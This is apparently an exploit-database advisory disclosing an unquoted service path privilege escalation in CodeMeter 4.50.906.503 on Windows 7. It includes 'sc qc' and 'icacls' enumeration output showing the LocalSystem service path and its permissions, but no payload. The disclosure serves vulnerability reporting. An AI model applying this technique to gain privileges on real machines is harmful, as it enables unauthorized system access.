CodeMeter 4.50.906.503 - Service Trusted Path Privilege Escalation



EKU-ID: 4444 CVE: OSVDB-ID:
Author: s-dz Published: 2014-12-16 Verified: Verified
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# Exploit Title:CodeMeter 4.50.906.503 Service Trusted Path Privilege Escalation
# Date: 07/12/2014
#Author: Hadji Samir s-dz@hotmail.fr
#Product web page: http://www.wibu.com/fr/codemeter.html
#Affected version: 4.50.906.503
#Tested on:  Windows 7  (FR)

'CodeMeter.exe ' 
CodeMeter represents the basic technology of all protection and licensing solutions from Wibu-Systems.

CodeMeter contains a flaw in the 'CodeMeter.exe'
file that may reportedly allow gaining access to unauthorized privileges.
The issue is due to an unquoted search path, which may allow a local attacker
to inject arbitrary code in the root path.


C:\Users\samir>sc qc CodeMeter.exe
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: CodeMeter.exe
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\CodeMeter\Runtime\bin\CodeMeter.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : CodeMeter Runtime Server
        DEPENDENCIES       : Tcpip
                           : Winmgmt
        SERVICE_START_NAME : LocalSystem





C:\Users\samir>icacls "C:\Program Files\CodeMeter\Runtime\bin\CodeMeter.exe"
C:\Program Files\CodeMeter\Runtime\bin\CodeMeter.exe AUTORITE NT\Système:(I)(F)
                                                     BUILTIN\Administrateurs:(I)(F)
                                                     BUILTIN\Utilisateurs:(I)(RX)

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